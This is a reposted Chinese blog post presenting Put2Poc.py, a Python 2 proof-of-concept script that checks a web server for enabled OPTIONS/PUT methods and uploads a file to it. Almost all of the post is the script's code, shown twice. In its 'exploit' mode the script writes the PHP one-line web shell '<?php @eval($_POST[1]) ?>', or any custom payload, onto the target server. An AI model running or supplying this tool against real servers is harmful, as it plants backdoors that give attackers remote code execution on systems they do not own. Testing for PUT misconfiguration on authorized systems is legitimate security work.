PUT上传POC--Put2Poc.py

简介:

环境

Python 2.7 
    requests
    sys
Windows 7
Apache 已完成put配置。
PHP

Apache PUT配置

简单介绍一下源码,增加易读性。

POC入口函数,设置默认变量,接受和判断用户输入参数是否合法,调用探测是否存在不安全的HTTP方法函数Test2Option(url,YN),接受返回所支持的方法,调用PUT方法上传文件。

def main():
    if len(sys.argv) < 2 :
        print u'''
    Version:1.0
    请输入将要验证的URL(eg:Put2Poc.py http://test.com)
    Put2Poc.py arg1 arg2
    arg1:目标URL
    arg2: 选择(1)验证OR(2)利用(默认为验证)
    arg3: 选择上传文件的目录,默认为/(eg:/test/)
    arg4: 设置长传的文件的文件名,默认为test.html
    arg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)
    注:当前版本仅支持PHP语言的利用'''
        sys.exit()
    if len(sys.argv) >= 2 :
        url = sys.argv[1]
        YN = 1
        path = '/'
        filename = 'test.html' 
        content = None
        # print url
        if 'http' not in url :
            print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
            sys.exit()
        if len(sys.argv) >= 3 :
            # print type(sys.argv[2])
            if sys.argv[2] in '2' :
                filename = 'test.php'
            if sys.argv[2] not in ['1','2'] :
                print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
                sys.exit()
            YN = sys.argv[2]
        if len(sys.argv) >= 4 :
            path = sys.argv[3]
        if len(sys.argv) >= 5 :
            filename = sys.argv[4]
        if len(sys.argv) >= 6 :
            content = sys.argv[5]
    if len(sys.argv) > 6 :
        print u'请检查参数设置'
        sys.exit()
    r_options = Test2Option(url,YN)
    if content is not None :
        Put2File(url,YN,r_options,path,filename,content)
    else:
        Put2File(url,YN,r_options,path,filename)
    # print r_options

Error2status(code) 判断请求的返回状态。

参数 code : 请求返回的状态码
def Error2status(code):
    if 400 <= code < 500:
        return 4
    if 500 <= code < 600 :
        return 5
    if 200 <= code < 400 :
        return True

Test2Option(url,YN)探测目标URL是否支持OPTIONS方法

参数 url : 请求的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
def Test2Option(url,YN):
    try:
        r = requests.options(url,verify=False,timeout=10)
    except :
        print u'Error,请检查链接是否可以访问'
        sys.exit()
    r_options = r.headers
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'该链接不支持OPTIONS方法'
        sys.exit()
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'请检查链接是否可以访问'
        sys.exit()
    if r_status_code is True :
        print u'该链接存在不安全的HTTP方法'
        print r_options['Allow']
        return r_options['Allow']

Put2File(url,YN,r_options,path,filename,content=None)

参数 url : 测试的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
参数 r_options : 网站所支持的HTTP请求方法。
参数 path : 文件上传位置
参数 filename : 文件名
参数 content : 自定义文件内容。
def Put2File(url,YN,r_options,path,filename,content=None):
    url = url.rstrip('/') + path + filename
    print url
    headers = {
    'Accept': '*/*',
    'Accept-Language': 'en-US',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   
    }
    data = '<script>alert(1)</script>'
    if YN is '2':
        data = '<?php @eval($_POST[1]) ?>'
        if content is not None :
            data = content
    r = requests.put(url,headers=headers,data=data)
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code is True :
        print u'Server status code: %s' %(r.status_code)
        print u'服务器支持PUT文件上传'
        print u'文件名: %s' %(filename)
        print u'文件内容: %s' %(data)
        print u'文件长传位置为: %s' %(path)
        print u'文件链接: %s' %(url)
        print r.content

POC

#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#

import requests
import sys

def Error2status(code):
    if 400 <= code < 500:
        return 4
    if 500 <= code < 600 :
        return 5
    if 200 <= code < 400 :
        return True

def Test2Option(url,YN):
    try:
        r = requests.options(url,verify=False,timeout=10)
    except :
        print u'Error,请检查链接是否可以访问'
        sys.exit()
    r_options = r.headers
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'该链接不支持OPTIONS方法'
        sys.exit()
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'请检查链接是否可以访问'
        sys.exit()
    if r_status_code is True :
        print u'该链接存在不安全的HTTP方法'
        print r_options['Allow']
        return r_options['Allow']

def Put2File(url,YN,r_options,path,filename,content=None):
    url = url.rstrip('/') + path + filename
    print url
    headers = {
    'Accept': '*/*',
    'Accept-Language': 'en-US',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   
    }
    data = '<script>alert(1)</script>'
    if YN is '2':
        data = '<?php @eval($_POST[1]) ?>'
        if content is not None :
            data = content
    r = requests.put(url,headers=headers,data=data)
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code is True :
        print u'Server status code: %s' %(r.status_code)
        print u'服务器支持PUT文件上传'
        print u'文件名: %s' %(filename)
        print u'文件内容: %s' %(data)
        print u'文件长传位置为: %s' %(path)
        print u'文件链接: %s' %(url)
        print r.content

def main():
    if len(sys.argv) < 2 :
        print u'''
    Version:1.0
    请输入将要验证的URL(eg:Put2Poc.py http://test.com)
    Put2Poc.py arg1 arg2
    arg1:目标URL
    arg2: 选择(1)验证OR(2)利用(默认为验证)
    arg3: 选择上传文件的目录,默认为/(eg:/test/)
    arg4: 设置长传的文件的文件名,默认为test.html
    arg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)
    注:当前版本仅支持PHP语言的利用'''
        sys.exit()
    if len(sys.argv) >= 2 :
        url = sys.argv[1]
        YN = 1
        path = '/'
        filename = 'test.html' 
        content = None
        # print url
        if 'http' not in url :
            print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
            sys.exit()
        if len(sys.argv) >= 3 :
            # print type(sys.argv[2])
            if sys.argv[2] in '2' :
                filename = 'test.php'
            if sys.argv[2] not in ['1','2'] :
                print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
                sys.exit()
            YN = sys.argv[2]
        if len(sys.argv) >= 4 :
            path = sys.argv[3]
        if len(sys.argv) >= 5 :
            filename = sys.argv[4]
        if len(sys.argv) >= 6 :
            content = sys.argv[5]
    if len(sys.argv) > 6 :
        print u'请检查参数设置'
        sys.exit()
    r_options = Test2Option(url,YN)
    if content is not None :
        Put2File(url,YN,r_options,path,filename,content)
    else:
        Put2File(url,YN,r_options,path,filename)
    # print r_options

if __name__ == '__main__':
    main()

注:欢迎指正和提出修改意见。




本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/2060336,如需转载请自行联系原作者
相关文章
|
9月前
|
安全 算法 网络安全
HTTP和HTTPS的区别
本文介绍HTTP与HTTPS的区别、HTTPS链接建立过程及常见加密算法。HTTP为明文传输,易被窃听;HTTPS通过SSL/TLS协议加密,确保数据安全。HTTPS使用端口443,提供认证机制。文中还详细讲解了对称加密(如AES、DES)和非对称加密(如RSA、ECC)算法的特点及应用场景。
|
12月前
|
UED 开发者
Flutter|常用数据通信组件
Flutter|常用数据通信组件
178 49
|
10月前
|
机器学习/深度学习 人工智能 安全
AI与旅游业:旅行规划的智能助手
在数字化浪潮中,人工智能(AI)正重塑旅游业。本文探讨了AI如何通过个性化推荐、智能预测与预警、语音交互与虚拟助手、增强现实体验及可持续发展,提升旅行规划的效率、安全性和趣味性,推动旅游业创新与变革。
|
12月前
|
存储 监控 数据挖掘
飞轮科技携手观测云亮相云栖大会,全方位展示阿里云数据库 SelectDB 版核心优势
飞轮科技技术副总裁姜国强于「数据分析与洞察」专场分享[阿里云数据库 SelectDB 版在日志存储分析、实时报表生成、用户行为分析及 Lakehouse 场景应用方案
285 1
飞轮科技携手观测云亮相云栖大会,全方位展示阿里云数据库 SelectDB 版核心优势
|
数据采集 存储 人工智能
AI 模型:数据收集和清洗
AI 模型:数据收集和清洗
1020 2
|
存储 安全 中间件
龙蜥社区 FAQ
龙蜥社区问答手册。
|
机器学习/深度学习 传感器 人工智能
【探索AI未来】自动驾驶时代下的人工智能技术与挑战
【探索AI未来】自动驾驶时代下的人工智能技术与挑战
815 0
|
域名解析 缓存 网络协议
解密网络通信的关键技术(上):DNS、ARP、DHCP和NAT,你了解多少?
在当今互联网时代,我们每天都在与各种技术打交道。但你是否了解这些技术背后的关键角色?DNS域名解析、ARP协议、DHCP动态获取IP地址以及NAT网络地址转换,它们是网络通信的支柱。DNS帮助我们将域名转换为IP地址,ARP协议获取下一跳的MAC地址,DHCP协议动态分配IP地址,而NAT则将私有IP地址转换为公共IP地址。本文将带你深入了解这些技术,揭示它们在网络通信中的重要作用。无论你是网络爱好者还是普通用户,这都是一篇值得阅读的文章。
473 0
|
人工智能 计算机视觉 开发者
用ModelScope带你制作小动画
本文带你利用ModelScope把实际拍摄的视频转换为动画,基本原理是把视频解码成图像,使用人像卡通化模型对视频逐帧进行卡通化,再把多帧图像合并成视频,从而完成动画生成
49186 18
用ModelScope带你制作小动画
|
Java API 开发工具
极光:手机APP消息推送平台
简单来说:极光推送是一个免费的开源的手机APP消息推送平台(类似帅哥美女们常用的购物APP某宝、某东等,一些优惠券消息后台推送到你们手机上)。
1140 0
极光:手机APP消息推送平台